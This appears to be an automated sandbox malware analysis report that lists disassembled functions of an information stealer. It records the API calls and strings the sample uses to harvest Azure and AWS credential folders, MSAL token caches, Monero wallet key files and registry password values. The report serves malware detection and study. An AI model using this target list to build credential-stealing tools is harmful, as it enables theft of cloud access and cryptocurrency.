Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 9c949069533d8fdfa1eb6e2eb4187418501e481cd6d14af504acdde49cf0a699
Instruction ID: 7398e74327c623b7cc6eef87f535c7c98f6d088956416e07f69d23a26fe2fbb7
Opcode Fuzzy Hash: 9c949069533d8fdfa1eb6e2eb4187418501e481cd6d14af504acdde49cf0a699
Instruction Fuzzy Hash: 72714D71A00258ABDF28DBA0CC49BEE7B75FF44740F108198F6096B1D4DBB46A85CF52

Function 005F5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA820: lstrlen.KERNEL32(005E4F05,?,?,005E4F05,00600DDE), ref: 005FA82B
Part of subcall function 005FA820: lstrcpy.KERNEL32(00600DDE,00000000), ref: 005FA885

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005F5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005F56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005F5857

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005F51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005F5228

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005F52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005F5318
Part of subcall function 005F52C0: lstrlen.KERNEL32(00000000), ref: 005F532F
Part of subcall function 005F52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 005F5364
Part of subcall function 005F52C0: lstrlen.KERNEL32(00000000), ref: 005F5383
Part of subcall function 005F52C0: lstrlen.KERNEL32(00000000), ref: 005F53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005F578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005F5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005F5A0C
Sleep.KERNEL32(0000EA60), ref: 005F5A1B

Strings

ERROR, xrefs: 005F59FE
ERROR, xrefs: 005F5693
ERROR, xrefs: 005F5932
ERROR, xrefs: 005F5636
ERROR, xrefs: 005F577D
ERROR, xrefs: 005F5849

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: b862e6108ccaf7ae2bb9803a74f42be1874d6aa757f99fa394513e76fc4e459c
Instruction ID: c24df190534199874ba526d4dfc00be1339227c3f10b707d2a7883afc7721dd3
Opcode Fuzzy Hash: b862e6108ccaf7ae2bb9803a74f42be1874d6aa757f99fa394513e76fc4e459c
Instruction Fuzzy Hash: 1AE143B191010D9BCB18FBB0DD5ADFD7B78BF94340F408528B64A56095EF786A0ACB93

Function 005F4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005F8E0B

lstrcat.KERNEL32(?,00000000), ref: 005F4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 005F4DCD

Part of subcall function 005F4910: wsprintfA.USER32 ref: 005F492C
Part of subcall function 005F4910: FindFirstFileA.KERNEL32(?,?), ref: 005F4943

lstrcat.KERNEL32(?,00000000), ref: 005F4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 005F4E59

Part of subcall function 005F4910: StrCmpCA.SHLWAPI(?,00600FDC), ref: 005F4971
Part of subcall function 005F4910: StrCmpCA.SHLWAPI(?,00600FE0), ref: 005F4987
Part of subcall function 005F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 005F4B7D
Part of subcall function 005F4910: FindClose.KERNEL32(000000FF), ref: 005F4B92

lstrcat.KERNEL32(?,00000000), ref: 005F4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 005F4EE5

Part of subcall function 005F4910: wsprintfA.USER32 ref: 005F49B0
Part of subcall function 005F4910: StrCmpCA.SHLWAPI(?,006008D2), ref: 005F49C5
Part of subcall function 005F4910: wsprintfA.USER32 ref: 005F49E2
Part of subcall function 005F4910: PathMatchSpecA.SHLWAPI(?,?), ref: 005F4A1E
Part of subcall function 005F4910: lstrcat.KERNEL32(?,01410A70), ref: 005F4A4A
Part of subcall function 005F4910: lstrcat.KERNEL32(?,00600FF8), ref: 005F4A5C
Part of subcall function 005F4910: lstrcat.KERNEL32(?,?), ref: 005F4A70
Part of subcall function 005F4910: lstrcat.KERNEL32(?,00600FFC), ref: 005F4A82
Part of subcall function 005F4910: lstrcat.KERNEL32(?,?), ref: 005F4A96
Part of subcall function 005F4910: CopyFileA.KERNEL32(?,?,00000001), ref: 005F4AAC
Part of subcall function 005F4910: DeleteFileA.KERNEL32(?), ref: 005F4B31

Strings

\.IdentityService\, xrefs: 005F4ED9
\.aws\, xrefs: 005F4E4D
Azure\.IdentityService, xrefs: 005F4EEB
msal.cache, xrefs: 005F4EF0
Azure\.azure, xrefs: 005F4DD3
Azure\.aws, xrefs: 005F4E5F
*.*, xrefs: 005F4DD8
*.*, xrefs: 005F4E64
\.azure\, xrefs: 005F4DC1

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 212386d8d46d29669a02c1072260d31389061580f453a885e88be555ae2d8988
Instruction ID: 7e545292f22c27fbf2f6d7217546cf7d342e67b2739d52723fca2b1dd2139ff0
Opcode Fuzzy Hash: 212386d8d46d29669a02c1072260d31389061580f453a885e88be555ae2d8988
Instruction Fuzzy Hash: 764178B994020967DB68F770DC4BFEE7738BBA4700F004554B68A660C1EEB45BC9CB92

Function 005E1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005E12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005E12B4
Part of subcall function 005E12A0: RtlAllocateHeap.NTDLL(00000000), ref: 005E12BB
Part of subcall function 005E12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 005E12D7
Part of subcall function 005E12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005E12F5
Part of subcall function 005E12A0: RegCloseKey.ADVAPI32(?), ref: 005E12FF

lstrcat.KERNEL32(?,00000000), ref: 005E134F
lstrlen.KERNEL32(?), ref: 005E135C
lstrcat.KERNEL32(?,.keys), ref: 005E1377

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005F8B60: GetSystemTime.KERNEL32(00600E1A,0140B798,006005AE,?,?,005E13F9,?,0000001A,00600E1A,00000000,?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005F8B86

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 005E1465

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005E99EC
Part of subcall function 005E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005E9A11
Part of subcall function 005E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005E9A31
Part of subcall function 005E99C0: ReadFile.KERNEL32(000000FF,?,00000000,005E148F,00000000), ref: 005E9A5A
Part of subcall function 005E99C0: LocalFree.KERNEL32(005E148F), ref: 005E9A90
Part of subcall function 005E99C0: CloseHandle.KERNEL32(000000FF), ref: 005E9A9A

DeleteFileA.KERNEL32(00000000), ref: 005E14EF

Strings

.keys, xrefs: 005E136B
SOFTWARE\monero-project\monero-core, xrefs: 005E1335
\Monero\wallet.keys, xrefs: 005E138D
wallet_path, xrefs: 005E1330

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 14b2a7a722e702e7d404112e559951600f361862fdf357bf8dea135b4c11250e
Instruction ID: b6bc40a7c60fc1e7b7b45b54bb2528e401ee0ba6497b0918562fd00ca4f96c2d
Opcode Fuzzy Hash: 14b2a7a722e702e7d404112e559951600f361862fdf357bf8dea135b4c11250e
Instruction Fuzzy Hash: 215131B195011A57CB19EB60DD96AED773CBF90300F4041A8B74A62091EE746B8ACA96

Function 005F7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 005F7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005F757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F7603
RtlAllocateHeap.NTDLL(00000000), ref: 005F760A
wsprintfA.USER32 ref: 005F7640

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Strings

:, xrefs: 005F755C
`, xrefs: 005F764D, 005F7655, 005F761B, 005F7623
C, xrefs: 005F754C
\, xrefs: 005F7560

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$`
API String ID: 1544550907-3750816455
Opcode ID: 13bccd3340454e7e440e935899ab6ab1aa829ab839dbb55129f8d8582652bc45
Instruction ID: 3caf61fcd2ac74768085da14d828a8e6e267601e15d0e205b56d734cbb72a867
Opcode Fuzzy Hash: 13bccd3340454e7e440e935899ab6ab1aa829ab839dbb55129f8d8582652bc45
Instruction Fuzzy Hash: 0C4181B1D0424CABDF10DF94DC45BEEBBB8BF58700F104098F609A7280DB78AA44CBA5

Function 005E75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005E72D0: memset.MSVCRT ref: 005E7314
Part of subcall function 005E72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 005E733A
Part of subcall function 005E72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005E73B1
Part of subcall function 005E72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 005E740D
Part of subcall function 005E72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 005E7452
Part of subcall function 005E72D0: HeapFree.KERNEL32(00000000), ref: 005E7459

lstrcat.KERNEL32(357F5020,006017FC), ref: 005E7606
lstrcat.KERNEL32(357F5020,00000000), ref: 005E7648
lstrcat.KERNEL32(357F5020, : ), ref: 005E765A
lstrcat.KERNEL32(357F5020,00000000), ref: 005E768F
lstrcat.KERNEL32(357F5020,00601804), ref: 005E76A0
lstrcat.KERNEL32(357F5020,00000000), ref: 005E76D3
lstrcat.KERNEL32(357F5020,00601808), ref: 005E76ED
task.LIBCPMTD ref: 005E76FB

Strings

: , xrefs: 005E764E

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 5e92cf0b9fddc5deee3a6c79dc6fdbac275c600b9e87f747231922cc3f087e1b
Instruction ID: c08452cccc1066ae2d6c8674d3dad0b5b5cf87c3796ebc0e94188b6173e85b14
Opcode Fuzzy Hash: 5e92cf0b9fddc5deee3a6c79dc6fdbac275c600b9e87f747231922cc3f087e1b
Instruction Fuzzy Hash: 03314B7590014AEBCB1CEBA5DC89DFF7B79BF98301B108118F106A7290DB34A947CB52

Function 005E72D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 005E7314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 005E733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005E73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 005E740D
GetProcessHeap.KERNEL32(00000000,?), ref: 005E7452
HeapFree.KERNEL32(00000000), ref: 005E7459
task.LIBCPMTD ref: 005E7555

Strings

Password, xrefs: 005E7401

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
